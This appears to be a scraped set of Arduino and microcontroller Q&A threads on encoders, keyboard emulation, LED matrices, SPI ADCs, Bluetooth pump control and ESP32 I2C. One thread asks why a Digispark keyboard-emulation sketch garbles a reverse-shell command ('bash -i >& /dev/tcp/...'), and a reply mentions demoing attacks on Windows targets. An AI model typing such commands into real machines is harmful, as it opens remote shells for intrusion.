The project had a potentiometer before, but the task I'm ask for is to use an encoder, just my luck.

What model of Arduino are you using? I don't think there are any that support pins 14 and 15 for RISING edge external interrupts. Could you use pin 2 for c_TurnEncoderPinA instead of 14?

I'm using a Teensy 3.2, all digital pins have interrupt capability.

What you have come up with on your own is almost what is called a "dead zone", where the angle between -6 and 6 is ignored.
All you need to do now is not reference the actual angle when computing how much to turn, but to reference the distance from the edge of the dead zone:
const uint16_t deadZoneSize = 6;
[...]

float turn(){
  unint8_t TurnVal = 0;
  if(TurnAngular<=deadZoneSize && TurnAngular>=-deadZoneSize)
  {
    return 0;
  }
  else
  {
   //the voltage is calculated with a proportional gain
   //times the angle of the encoder in radians.
    if (TurnAngular<0) {
      TurnVal = TurnAngular + deadZoneSize)
    } else {
      TurnVal = TurnAngular - deadZoneSize)
    }
    return (kp*TurnVal*(2*pi/(pprT)));
  }
}

Thanks, that's actually an improvement, but it doesn't really solve the problem.
Now the whole dead zone moves away from the straight position. A very small tilt on one side gets you out of the zone, and a relatively large tilt on the other side does too.
This happens because every time the bar is moved and then returned to the straight position, the counter (_TurnEncoderTicks) never goes to 0, so the error gets worse for every movement of the bar. I'll answer the post with an illustration.

What prevents you from setting that variable to zero when you need to?

Well, I believe its because I don't have a reference, in code I can never really tell what new number (the count) corresponds to the straight position.

Ah, so it seems you are missing counts, otherwise zero would stay zero. What if you increase the sampling time? The line uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6; takes a whole lot of cycles to use pow() with float types. Is there a way you could simplify that algorithm to integer math?

I could increase the sample rate, but it will mess up the whole balance part.

I could also change the aux variable into an int. Like int aux = static_cast<int>(vol).

Definitely missing counts, I was just thinking it could be a mechanical issue.

Would you try increasing the sample time (thus decreasing the sample rate) to see if that affects missed counts?


text:
Why do DigiKeyboard.print and println change my string?
GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.
PROBLEM : I import the library as I've seen on others projects:
#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" using print method:
DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:
bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?
SOLUTION: changing my keyboard layout to English(US) solved my problem.
Anyway I have still a doubt. How can I make the library work also with others layouts?

Please tell us which library you use and where you got it from. Tell us the exact output. Add the extra information to your question. Are ascii characters converted to keyboard scan codes? Perhaps that conversion is not complete yet.

What language is used for the keyboard?

Italian but now I m trying to change layout

The problem is your keyboard layout.
The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it.  All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries.  It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).
The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.
You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.
So you have a number of options:

Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
Modify the Arduino core to map the characters using an Italian keymap, or
Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3.  Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did.  So spend some time and work out which characters, when you print them, result in which characters being typed.

You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.

The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT).
I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent.
I'll definitely make the code freely available if/when it works.

Isn't this input method Windows-specific? The OP doesn't seem to be using Windows.

That's mostly correct, well spotted! However, on many Linux desktops, Shift+Ctrl+U, then the Unicode character code, then Enter will work.
I use Linux a lot but most of the systems I need this for (to demo cyber attacks) are running Windows.
Thanks for pointing this out - gong to the Alt+Num methods removes the keyboard layout dependency but intruduces an OS dependency. This may or may not be an issue for many use cases as most exploits are already OS dependent but one would not necessarily know or control the target's keyboard language.


text:
Diorama Controller Part 2 - Need More Outputs
For background see my original post.  I've decided to not to use batteries and have it wired up with wall power.
I wish to use the Arduino Pro Mini 5V as the controller for my diorama project.  I have five completed buildings which will all have LEDs (with only two wired up so far).  The two currently wired buildings have multiple "zones/rooms" that can have its LEDs activated separately.
Building 1 is a saloon with rooms above.  It has a total of 7 zones/rooms.
Building 2 is a store with a doctor's office above and rooms in the back of each.  It has 4 rooms.
With this setup, I am able to use the software to simulate people coming and going within the rooms.  It's pretty neat.
However, I'm currently at 11 outputs out of the Mini.  I'm running out of pins.  How can I have more outputs?

authors: Андрей Кузнецов

authors: Михаил Маракулин


text:
2 if-else in one program
Hey guys i have made an automatic plant watering system. Its really basic. the code is:-
char yo = 0;
void setup() {
  pinMode(2, INPUT);//moisture sensor
  pinMode(3, OUTPUT);// pump
  Serial.begin(9600);
}

void loop() {
  yo = digitalRead(2);
  if(yo == 1){
      digitalWrite(3,HIGH);
      Serial.println("Plant is Being Watered as the soil is dry");
      delay(5000);
    }
  else{
      digitalWrite(3,LOW);
      delay(5000);
      Serial.println("the plant has sufficient water");
    }
}

The thing that i want to add is.. i want to add a feature which can manually control it with bluetooth but the normal program should also be running. for eg. soil is wet but i want to add more water so i write 9 on the blueterm app which starts the pump for 2 seconds. I am using an HC-05 bluetooth module. can someone tell me how this can work on an arduino?
EDIT!

Sketch 2:
char ha;
void setup() {
  pinMode(3, OUTPUT); //pump
  Serial.begin(9600);
}

void loop() {
 ha = Serial.read();
 if(ha == 5){
    digitalWrite(3, HIGH);
    delay(2000);
  }
 else{
    digitalWrite(3,LOW);
  }
}

How far have you got? Are you able to send data from the app and receive it in your sketch?

well i have completed both in 2 different sketches that is i can control it manually(send and recieve data from app) in one sketch and run the normal program in the other. when i tried to merge them only the normal program worked and when i entered one in serial nothing happens. @MarkSmith

Could you add the second sketch to your question, please?

There @MarkSmith

You should learn about finite state machines for this task.

char ha;
void setup() {
  pinMode(3, OUTPUT); //pump
  Serial.begin(9600);
}

void loop()
{

  //.:.bluetooth control block
  if (Serial.available()) //check serial data availability
  {
    ha = Serial.read();
    if(ha == '9') //received data is char '9'
    {
      digitalWrite(3, HIGH); //turn on
      delay(2000);
      digitalWrite(3, LOW); //turn off
    }
  }
  else
  {
    //.:.manual control block
    if(digitalRead(2)){
      digitalWrite(3,HIGH);
      Serial.println("Plant is Being Watered as the soil is dry");
      delay(5000);
      digitalWrite(3,LOW);
    }
  }
}

this wont allow the normal program to run(the automatic detection thing)i wanted both to run at the

@Dhruva you can simply add your former program after it. I edit my answer


text:
AD7476 adc and SPI
I'm trying to understand if I can use the AD7476 with Arduino and SPI:
datasheet
My rough idea is that I should put CS low, then read two bytes using SPI.transfer() twice, and then bring CS high again. Is that correct?
But looks like the AD7476 doesn't have any buffer, so I guess timing must be really precise in order to not miss any bit?
what if SPI.transfer() occurs too late after CS going low?

My rough idea is that I should put CS low, then read two bytes using SPI.transfer() twice, and then bring CS high again. Is that correct?

Yes, that is correct.

But looks like the AD7476 doesn't have any buffer, so I guess timing must be really precise in order to not miss any bit?

No. The conversion is controlled by the SPI clock.  The ADC is a successive approximation ADC.  That means for each "sample clock" a more accurate approximation of the voltage is created. In this instance that "sample clock" is the same as the "SPI clock".  Each time you send one clock pulse a new, more accurate, approximation is created.

what if SPI.transfer() occurs too late after CS going low?

Within reason, nothing untoward.
The way an SAR ADC works is it uses a DAC which is controlled by a clock to create a voltage. That voltage is halfway between 0V and "the current estimated voltage" (starting at "vref" - 5V in this case).  The voltage is compared with the "sampled" voltage (stored in a tiny capacitor). That forms one bit of the resultant value. At the next clock the DAC voltage is halved (and maybe added to the previous voltage depending on the previous comparison result) and repeated. This is the next bit of the result. It repeats with the voltage getting smaller and smaller and smaller.
Each time you clock one bit through your SPI interface it generates and compares the next voltage generating the next bit of data for you to read.
The knock-on effect of this is that there is both a maximum and a minimum frequency that you can use the SPI interface at.  Too fast and it is unable to generate the comparison voltages and do the comparison in time. Too slow and the internal capacitor loses charge through self-discharge and leakage current.  Thgis is why on page 8 of the datasheet it specifies a minimum and a maximum frequency for the SPI interface (10kHz to 20MHz).

thank you! but how can you tell if the 2 bytes you read are the actual data, or if the read occurred too late and you miss the first bits? Is the SPI library responsible of handling that, by clocking only once you start reading?

You can't "miss" any bits. You generate the bits. There's nothing to miss. If you are too slow (and you'd have to be very slow) then all you will have is reduced accuracy.

I would add, that "too slow" doesn't mean too slow between samples, but during the SPI.transfer(). As long as you don't set the SPI speed too slow, there is nothing to miss


text:
WS2812B not fully working with NodeMCUv2 [ESP8266]
I have a problem with my NodeMCU v2 board and my WS2812B led matrix with 256 (32x8) LEDs.
The Board cannot be able to turn on the 191th led and stops working after the 190th without changing the color of the rest of the strip.
I'm using an external power supply 5V 20A and the strip is connected as shown below

I tested the problem with the FastLED library.
#include <Arduino.h>
#include <FastLED.h>
#define NUM_LEDS 256
#define DATA_PIN 2

CRGB leds[NUM_LEDS];

void setup() {
  Serial.begin(9600);
  FastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);
}

void loop() {
  for(int dot = 0; dot < NUM_LEDS; dot++) {
      leds[dot] = CRGB::Red;
  }
  FastLED.show();
  delay(10000);
  for(int dot = 0; dot < NUM_LEDS; dot++) {
      leds[dot] = CRGB::Black;
  }
  FastLED.show();
  delay(10000);
}

The result is this

How I can solve this?

possibly a bad LED

do not run power for the LEDs through the breadboard

The LED 5V is directly connected to the PSU without passing through the breadboard. Looks like that LED is not the trouble because It works fine with an Arduino Uno.

power connections involve two wires ...the GND wire is shown as being routed through the breadboard

sometimes i have to run the esp at 3.5 or 3.6v (instead of 3.3v) to get them perfect


text:
ESP32: Share I2C bus among multiple freeRTOS tasks - do I have to expect synchronization issues?
I recently inherited some firmware with weird problems in regards to the duration of reading sensor values. The board is based on the ESP32 Wrover MCU and has multiple sensors connected via the I2C bus. The firmware makes use of the port of the FreeRTOS task library and uses the main loop to read two sensors as well as an extra task on the same core to read some more sensor via a DS2482 I2C to OneWire bridge. Usually I would expect the reading of the sensors to take at most one second (assuming the 'worst' case under normal conditions) via the bridge, but it takes a multitude of that, usually around 30 or more seconds for one sensor. Not only the reading but any communication over the bridge takes a very long time. One more detail: The sensors behind the bridge are connected one per channel of the bridge and the one wire channel is reset each time before a sensor is read.
My current suspicion is that using multiple tasks on the same I2C bus may screw up the timings of the communication and thus cause communication errors leading to the increased read times.
Does that suspicion sound reasonable at all or what would you suggest to investigate on the described system (knowing well, that I didn't provide too many details)?
Any ideas are welcome.
Thanks!

I've run into ports of FreeRTOS where using the I2C hardware is wrapped at quite a high level in an atomic block so it will block scheduling from occurring as you expect. That could be worth checking but it'd probably be a more widely reported issue if it was what's happening here.
I'd look at how long form reset to data being ready it is for the one-wire sensors and maybe even write a test program that doesn't use an RTOS to see how often you can get data from things beyond the bridge in the way you're doing it now. (i.e. reset the sensor and then get data)